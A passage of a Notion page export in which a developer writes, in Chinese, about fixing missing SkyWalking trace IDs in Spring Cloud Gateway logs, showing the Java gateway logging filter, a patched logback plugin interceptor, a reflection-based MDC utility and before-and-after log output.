exchange.getRequest().getURI().getPath();\n\n        exchange.getAttributes().put(START_TIME, System.currentTimeMillis());\n        ServerHttpRequest request = exchange.getRequest();\n\n        if (path.contains(\"api-docs\")) {\n            log.warn(\"{}正在请求接口文档{}\", ip, path);\n            return chain.filter(exchange.mutate().request(request).build());\n        }\n\n        //打印请求开始日志\n        log.info(\"请求开始:\\n\\n方法:{}\\nHost:{}\\nip:{}\\n请求接口:{}\\n\", method, exchange.getRequest().getURI().getHost(), ip,\n            path);\n\n        //打印header头\n        log.info(\"请求头:\\n\\n{}\\n\", JSONUtil.toJsonStr(exchange.getRequest().getHeaders()));\n\n        //包装response,在任意地方返回打印结束信息等\n        ServerHttpResponse originalResponse = exchange.getResponse();\n        DataBufferFactory bufferFactory = originalResponse.bufferFactory();\n        ServerHttpResponseDecorator decoratedResponse = new ServerHttpResponseDecorator(originalResponse) {\n            @Override\n            @NotNull\n            public Mono\u003cVoid\u003e writeWith(@NotNull Publisher\u003c? extends DataBuffer\u003e body) {\n                Long startTime = exchange.getAttribute(START_TIME);\n                if (startTime != null) {\n                    Long executeTime = (System.currentTimeMillis() - startTime);\n                    int code = 500;\n                    if (exchange.getResponse().getStatusCode() != null) {\n                        code = exchange.getResponse().getStatusCode().value();\n                    }\n                    log.info(\"请求结束信息:\\n\\n响应状态码:{}\\n请求耗时:{}ms\\n\", code, executeTime);\n                }\n\n                if (body instanceof Flux) {\n                    Flux\u003c? extends DataBuffer\u003e fluxBody = Flux.from(body);\n                    return super.writeWith(fluxBody.map(dataBuffer -\u003e {\n                        byte[] content = new byte[dataBuffer.readableByteCount()];\n                        dataBuffer.read(content);\n                        DataBufferUtils.release(dataBuffer);\n                        String data = new String(content, StandardCharsets.UTF_8);//data\n                        log.info(\"请求结束返回: \\n\\n{}\\n\", data);\n                        return bufferFactory.wrap(content);\n                    }));\n                } else {\n                    log.error(\"\u003c--- {} 响应code异常\", getStatusCode());\n                }\n                MDC.clear();\n                return super.writeWith(body);\n            }\n        };\n        //打印请求参数\n        MultiValueMap\u003cString, String\u003e queryParams = request.getQueryParams();\n        if (!queryParams.isEmpty()) {\n            log.info(\"请求参数(url):\\n\\n{}\\n\", queryParams);\n        }\n\n        if (HttpMethod.POST.name().equals(method)) {\n            return DataBufferUtils.join(request.getBody()).defaultIfEmpty(emptyBuffer).flatMap(dataBuffer -\u003e {\n                byte[] bytes = new byte[dataBuffer.readableByteCount()];\n                if (PrimitiveArrayUtil.isNotEmpty(bytes)) {\n                    dataBuffer.read(bytes);\n                    String bodyString = new String(bytes, StandardCharsets.UTF_8);\n                    try {\n                        bodyString = UriUtils.decode(bodyString, \"UTF-8\");\n                    } catch (Exception e) {\n                        log.error(\"请求参数编码错误有特殊符号\", e);\n                    }\n                    log.info(\"请求参数(form):\\n\\n{}\\n\", bodyString);\n                    exchange.getAttributes().put(\"POST_BODY\", bodyString);\n                    DataBufferUtils.release(dataBuffer);\n                    Flux\u003cDataBuffer\u003e cachedFlux = Flux.defer(() -\u003e {\n                        DataBuffer buffer = exchange.getResponse().bufferFactory().wrap(bytes);\n                        return Mono.just(buffer);\n                    });\n                    ServerHttpRequest mutatedRequest = new ServerHttpRequestDecorator(request) {\n                        @Override\n                        public Flux\u003cDataBuffer\u003e getBody() {\n                            return cachedFlux;\n                        }\n                    };\n                    return chain.filter(exchange.mutate().request(mutatedRequest).response(decoratedResponse).build());\n                } else {\n                    return chain.filter(exchange.mutate().request(request).response(decoratedResponse).build());\n                }\n            });\n        }\n        return chain.filter(exchange.mutate().request(request).response(decoratedResponse).build());\n    }\n\n    @Override\n    public int getOrder() {\n        return Ordered.HIGHEST_PRECEDENCE;\n    }\n\n}"]],"language":[["Java"]]},"created_time":1705771640301,"last_edited_time":1705771680742,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"4fdd346f-ce99-49d6-a7c7-728734284e76":{"value":{"id":"4fdd346f-ce99-49d6-a7c7-728734284e76","type":"sub_header","properties":{"title":[["user模块测试代码"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771687367,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d":{"value":{"id":"ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d","type":"code","properties":{"title":[["\n@Slf4j\n@RestController\n@AllArgsConstructor\n@Tag(name = \"Test-测试通用\")\n@RequestMapping(\"/user/xxx/test\")\npublic class TestController {\n\n    @NoLoginRequired\n    @Operation(summary = \"testSkywalking\")\n    @GetMapping(value = \"/testSkywalking\")\n    public R\u003cString\u003e testSkywalking() {\n\n        log.info(\"user-testSkywalking\");\n\n        return R.ok();\n\n    }\n}\n "]],"language":[["Java"]]},"created_time":1705771793829,"last_edited_time":1705771867301,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c6104167-a456-4af4-b62a-d87bd0dc5b7f":{"value":{"id":"c6104167-a456-4af4-b62a-d87bd0dc5b7f","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769231709,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"733c637e-92ba-4889-87a7-f84308daeb66":{"value":{"id":"733c637e-92ba-4889-87a7-f84308daeb66","type":"sub_header","properties":{"title":[["访问测试"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771870844,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"f698fa80-fe58-4bec-a2aa-0afc33e8ffc7":{"value":{"id":"f698fa80-fe58-4bec-a2aa-0afc33e8ffc7","type":"text","properties":{"title":[["通过网关访问testSkywalking测试结果如下"]]},"created_time":1705771871046,"last_edited_time":1705771894190,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5132098d-d3aa-4e40-ae84-0408e95d1039":{"value":{"id":"5132098d-d3aa-4e40-ae84-0408e95d1039","type":"text","properties":{"title":[["gateway日志"]]},"created_time":1705771894381,"last_edited_time":1705771944386,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"1fc83cb3-1d07-43aa-bdea-0b706377887c":{"value":{"id":"1fc83cb3-1d07-43aa-bdea-0b706377887c","type":"code","properties":{"title":[["[TID:N/A] [reactor-http-nio-4] ApiLogFilter:77 - 请求开始:\n\n方法:GET\nHost:localhost\nip:null\n请求接口:/user/xxx/test/testSkywalking\n\n[TID:N/A] [reactor-http-nio-4] com.tommi.pet.gateway.filter.ApiLogFilter:81 - 请求头:\n\n{\"Host\":[\"localhost:9999\"]}\n\n[TID:N/A] [reactor-http-nio-6] com.tommi.pet.gateway.filter.ApiLogFilter:101 - 请求结束信息:\n\n响应状态码:200\n请求耗时:1062ms\n\n[TID:N/A] [reactor-http-nio-6] com.tommi.pet.gateway.filter.ApiLogFilter:111 - 请求结束返回: \n\n{\"code\":0,\"message\":null,\"data\":\"1\",\"success\":true,\"timestamp\":1}"]],"language":[["Java"]]},"created_time":1705771950596,"last_edited_time":1705772143638,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"7bba3470-42ba-431c-9d63-49968c4ac543":{"value":{"id":"7bba3470-42ba-431c-9d63-49968c4ac543","type":"text","properties":{"title":[["user日志"]]},"created_time":1705771944641,"last_edited_time":1705771946746,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c419ccc0-1429-4f18-af45-d9833e0282eb":{"value":{"id":"c419ccc0-1429-4f18-af45-d9833e0282eb","type":"code","properties":{"title":[["[TID:xx.17057720223290001] [XNIO-1 task-1] TestController:54 - user-testSkywalking"]],"language":[["Java"]]},"created_time":1705771964329,"last_edited_time":1705772164352,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"91afc304-892f-42d3-bbcc-bb59e4fdd8d8":{"value":{"id":"91afc304-892f-42d3-bbcc-bb59e4fdd8d8","type":"quote","properties":{"title":[["可以明显看到user模块的tid是正常输出的,可是gateway的日志死活都是N/A"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705772250930,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"d9b07a77-5441-4573-8a13-db4be5c3ea3b":{"value":{"id":"d9b07a77-5441-4573-8a13-db4be5c3ea3b","type":"text","created_time":1705772218229,"last_edited_time":1705772218551,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"97e7928f-be51-43d0-b14d-05127bbeff35":{"value":{"id":"97e7928f-be51-43d0-b14d-05127bbeff35","type":"header","properties":{"title":[["尝试解决"]]},"created_time":1705772218229,"last_edited_time":1705772234403,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e325c70e-f58c-478c-90b8-eccec3b5d808":{"value":{"id":"e325c70e-f58c-478c-90b8-eccec3b5d808","type":"sub_header","properties":{"title":[["分析问题"]]},"created_time":1705772234694,"last_edited_time":1705772262480,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"584a5e58-4911-40f7-b4e8-67a14b578ba7":{"value":{"id":"584a5e58-4911-40f7-b4e8-67a14b578ba7","type":"text","properties":{"title":[["首先去去看看哪里输出的这个追踪码,没有找到9.0.0的源码,只找到8.7.0的源码,先搞下来研究研究:"],["https://github.com/apache/skywalking/blob/v8.7.0/",[["a","https://github.com/apache/skywalking/blob/v8.7.0/apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java"]]],["。然后定位到logback插件,去寻找tid在哪里输出的,最终找到如下:"]]},"created_time":1705772263804,"last_edited_time":1705772745135,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706":{"value":{"id":"4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706","type":"text","properties":{"title":[["apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java"]]},"created_time":1705772745402,"last_edited_time":1705773654817,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0d136c13-f56c-470a-82fd-2edf46b9e1da":{"value":{"id":"0d136c13-f56c-470a-82fd-2edf46b9e1da","type":"code","properties":{"title":[["\npublic class PrintTraceIdInterceptor implements InstanceMethodsAroundInterceptor {\n\n    @Override\n    public void beforeMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class\u003c?\u003e[] argumentsTypes,\n        MethodInterceptResult result) throws Throwable {\n\n    }\n\n    @Override\n    public Object afterMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class\u003c?\u003e[] argumentsTypes,\n        Object ret) throws Throwable {\n        if (!ContextManager.isActive()) {\n            if (allArguments[0] instanceof EnhancedInstance) {\n                SkyWalkingContext skyWalkingContext = (SkyWalkingContext) ((EnhancedInstance) allArguments[0]).getSkyWalkingDynamicField();\n                if (skyWalkingContext != null) {\n                    return \"TID:\" + skyWalkingContext.getTraceId();\n                }\n            }\n        }\n        return \"TID:\" + ContextManager.getGlobalTraceId();\n    }\n\n    @Override\n    public void handleMethodException(EnhancedInstance objInst, Method method, Object[] allArguments,\n        Class\u003c?\u003e[] argumentsTypes, Throwable t) {\n\n    }\n}"]],"language":[["Java"]]},"created_time":1705772766956,"last_edited_time":1705772779000,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"66932228-ed81-493f-ad40-f0cfa8a859d9":{"value":{"id":"66932228-ed81-493f-ad40-f0cfa8a859d9","type":"text","properties":{"title":[["观察代码无非就是skyWalkingContext.getTraceId()和ContextManager.xx输出的N/A。"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774181223,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"30bbe270-0897-4876-b780-500241acd206":{"value":{"id":"30bbe270-0897-4876-b780-500241acd206","type":"text","properties":{"title":[["Reator模式又有点陌生,无从下手。无意间从另外一篇博客中发现,其实exchange中是有这个tid的"]]},"created_time":1705772865632,"last_edited_time":1705773455696,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"a70ffef7-587f-481e-b2ef-c8635aa19049":{"value":{"id":"a70ffef7-587f-481e-b2ef-c8635aa19049","type":"image","properties":{"size":[["130.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/df0f3803-b946-4f27-8edd-749909bb63b2/Untitled.png"]]},"format":{"block_width":1408,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/df0f3803-b946-4f27-8edd-749909bb63b2/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5085227272727273,"block_preserve_scale":true},"created_time":1705773457212,"last_edited_time":1705773460698,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["df0f3803-b946-4f27-8edd-749909bb63b2"]}},"754bfdec-4110-434d-855b-a46fd419c980":{"value":{"id":"754bfdec-4110-434d-855b-a46fd419c980","type":"sub_header","properties":{"title":[["曲线救国"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705773519140,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"4efa436d-f550-4eda-ac48-8e6d733d8753":{"value":{"id":"4efa436d-f550-4eda-ac48-8e6d733d8753","type":"text","properties":{"title":[["gateway也就拦截器打印点日志,要不然就是exceptionHandler中打印。我要不然直接把这个值传给skywalking-logback插件就完了嘛。拿什么传呢,对的,使用MDC来传,同一个线程都可以传,并且改动最小。直接修改插件中PrintTraceIdInterceptor的源码如下,然后直接打包这个8.7的skywalking-logback插件替换掉原本apm-toolkit-logback-1.x-activation-9.0.0.jar插件(完全可用)"]]},"created_time":1705773519693,"last_edited_time":1705774253575,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0d416ba8-81ec-4468-abaa-3458beed1f20":{"value":{"id":"0d416ba8-81ec-4468-abaa-3458beed1f20","type":"code","properties":{"title":[["@Override\n    public Object afterMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class\u003c?\u003e[] argumentsTypes,\n        Object ret) throws Throwable {\n\n        String result;\n\n        if (!ContextManager.isActive()) {\n            if (allArguments[0] instanceof EnhancedInstance) {\n                SkyWalkingContext skyWalkingContext = (SkyWalkingContext) ((EnhancedInstance) allArguments[0]).getSkyWalkingDynamicField();\n                if (skyWalkingContext != null) {\n                    result = \"TID:\" + skyWalkingContext.getTraceId();\n                    return result;\n                } else {\n                    String tid = MDC.get(\"tid\");\n                    if (tid != null) {\n                        return \"TID:\" + tid;\n                    }\n                }\n            }\n        }\n        return \"TID:\" + ContextManager.getGlobalTraceId();\n    }"]],"language":[["Java"]]},"created_time":1705773670104,"last_edited_time":1705773704326,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5df9de5c-e418-4045-ad9b-5003dbc43a99":{"value":{"id":"5df9de5c-e418-4045-ad9b-5003dbc43a99","type":"text","properties":{"title":[["然后再搞一个工具类"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705773795354,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"c9f62dfd-e97e-45d1-afcf-f286342cbce3":{"value":{"id":"c9f62dfd-e97e-45d1-afcf-f286342cbce3","type":"code","properties":{"title":[["\n@Slf4j\npublic class SkywalkingUtil {\n\n    /**\n     * tid放入MDC\n     *\n     * @param exchange\n     */\n    public static void putTidIntoMdc(ServerWebExchange exchange) {\n        try {\n            Object entrySpanInstance = exchange.getAttributes().get(\"SKYWALKING_SPAN\");\n            if (ObjectUtil.isEmpty(entrySpanInstance)) {\n                return;\n            }\n            Class\u003c?\u003e entrySpanClazz = entrySpanInstance.getClass().getSuperclass().getSuperclass();\n            Field field = entrySpanClazz.getDeclaredField(\"owner\");\n            field.setAccessible(true);\n            Object ownerInstance = field.get(entrySpanInstance);\n            Class\u003c?\u003e ownerClazz = ownerInstance.getClass();\n            Method getTraceId = ownerClazz.getMethod(\"getReadablePrimaryTraceId\");\n            String traceId = (String) getTraceId.invoke(ownerInstance);\n            MDC.put(\"tid\", traceId);\n        } catch (Exception e) {\n            log.error(\"gateway追踪码获取失败\", e);\n        }\n    }\n\n}"]],"language":[["Java"]]},"created_time":1705773802256,"last_edited_time":1705773805881,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"eaafbb80-be83-4ef3-92b1-1df503ffe4f0":{"value":{"id":"eaafbb80-be83-4ef3-92b1-1df503ffe4f0","type":"text","properties":{"title":[["然后在gateway拦截器日志打印的地方加上以下代码,但是请求开始和请求结束是两个不同的线程啊,无法使用MDC来传递,架不住打印日志的地方都使用的一个exchange,当然为了保险你可以在每一个gatway模块的log之前加上以下语句"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774074463,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"e7c407ce-c395-47c7-a594-0955b82cdb60":{"value":{"id":"e7c407ce-c395-47c7-a594-0955b82cdb60","type":"code","properties":{"title":[["\n//打印开始日志的地方\nSkywalkingUtil.putTidIntoMdc(exchange);\n\n......\n\n//打印结束日志的地方\nSkywalkingUtil.putTidIntoMdc(exchange);"]],"language":[["Java"]]},"created_time":1705773848678,"last_edited_time":1705774038441,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"819553b3-aee8-4c8e-ba69-0120fe69cbd4":{"value":{"id":"819553b3-aee8-4c8e-ba69-0120fe69cbd4","type":"sub_header","properties":{"title":[["验证"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774081623,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"2da2c502-dcea-4989-b497-12bc4a5cf52b":{"value":{"id":"2da2c502-dcea-4989-b497-12bc4a5cf52b","type":"text","properties":{"title":[["gateway日志"]]},"created_time":1705774361544,"last_edited_time":1705774361702,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e7cc9331-e6d1-4a9c-b328-cd8b4b87e032":{"value":{"id":"e7cc9331-e6d1-4a9c-b328-cd8b4b87e032","type":"code","properties":{"title":[["[TID:xx.17057741377320011] [reactor-http-nio-2] ApiLogFilter:77 - 请求开始:\n\n方法:GET\nHost:localhost\nip:null\n请求接口:/user/user/pet/test/testSkywalking\n\n[TID:xx.17057741377320011] [reactor-http-nio-2] ApiLogFilter:81 - 请求头:\n\n{\"Host\":[\"localhost:9999\"]}\n\n[TID:xx.17057741377320011] [reactor-http-nio-7] ApiLogFilter:101 - 请求结束信息:\n\n响应状态码:200\n请求耗时:25ms\n\n[TID:xx.17057741377320011] [reactor-http-nio-7] ApiLogFilter:111 - 请求结束返回: \n\n{\"code\":0,\"message\":null,\"data\":\"1\",\"success\":true,\"timestamp\":1}"]],"language":[["Java"]]},"created_time":1705774157283,"last_edited_time":1705776557559,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0e05852c-3ee2-4087-a126-3de4e0942a19":{"value":{"id":"0e05852c-3ee2-4087-a126-3de4e0942a19","type":"text","properties":{"title":[["user日志"]]},"created_time":1705774370401,"last_edited_time":1705774374674,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"39cdd25c-bec1-4319-86b7-2b3db77e107a":{"value":{"id":"39cdd25c-bec1-4319-86b7-2b3db77e107a","type":"code","properties":{"title":[["[TID:xx.17057741377320011] [XNIO-1 task-1] TestController:54 - user-testSkywalking"]],"language":[["Java"]]},"created_time":1705774161119,"last_edited_time":1705774314220,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"19073c4d-640d-4621-9e5c-56a99d0255dc":{"value":{"id":"19073c4d-640d-4621-9e5c-56a99d0255dc","type":"text","properties":{"title":[["确实可用,完美解决"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774393126,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"65fc421b-dc9a-4a4c-b3b1-739e002e5d8d":{"value":{"id":"65fc421b-dc9a-4a4c-b3b1-739e002e5d8d","type":"header","properties":{"title":[["总结"]]},"created_time":1705774393415,"last_edited_time":1705774396717,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"fc0bc607-3ddb-47e6-879b-5229ae258f71":{"value":{"id":"fc0bc607-3ddb-47e6-879b-5229ae258f71","type":"bulleted_list","properties":{"title":[["就是把apm-toolkit-logback-1.x-activation插件改了点代码替换掉"]]},"created_time":1705774415784,"last_edited_time":1705774444503,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"f0568091-07d1-43b3-9a52-11cd0d74650d":{"value":{"id":"f0568091-07d1-43b3-9a52-11cd0d74650d","type":"bulleted_list","properties":{"title":[["然后在gatway模块的日志前面用MDC传了点值进到插件里面"]]},"created_time":1705774444819,"last_edited_time":1705774476384,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"31887616-fe32-43df-97c9-f850a7201f22":{"value":{"id":"31887616-fe32-43df-97c9-f850a7201f22","type":"bulleted_list","properties":{"title":[["相当取巧,因为gatway也没啥日志"]]},"created_time":1705774489583,"last_edited_time":1705774517420,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"065453d6-fec4-45d0-a4a6-8ddd1d07b18c":{"value":{"id":"065453d6-fec4-45d0-a4a6-8ddd1d07b18c","type":"bulleted_list","properties":{"title":[["目前看来没什么问题"]]},"created_time":1705774476680,"last_edited_time":1705774523959,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"19e3bbae-2412-427b-b58b-07013f336d4e":{"value":{"id":"19e3bbae-2412-427b-b58b-07013f336d4e","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"2fb486a5-74f6-4bcf-bf78-3f7142f7c121":{"value":{"id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","type":"column_list","content":["e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","e4bbc214-298b-4a2d-9269-99ef87b4e872","2822cf85-e741-4a15-913d-5905a02e0cd0"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d":{"value":{"id":"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","type":"column","content":["749d46cc-a88a-4a77-b6d8-d3a95fb2d652"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"e4bbc214-298b-4a2d-9269-99ef87b4e872":{"value":{"id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","type":"column","content":["cb6641a2-dc67-4250-a68f-06f20d4e5856","53f55fce-85fc-42d2-b4d9-16cbbec3544a"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"2822cf85-e741-4a15-913d-5905a02e0cd0":{"value":{"id":"2822cf85-e741-4a15-913d-5905a02e0cd0","type":"column","content":["1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"749d46cc-a88a-4a77-b6d8-d3a95fb2d652":{"value":{"id":"749d46cc-a88a-4a77-b6d8-d3a95fb2d652","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"cb6641a2-dc67-4250-a68f-06f20d4e5856":{"value":{"id":"cb6641a2-dc67-4250-a68f-06f20d4e5856","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        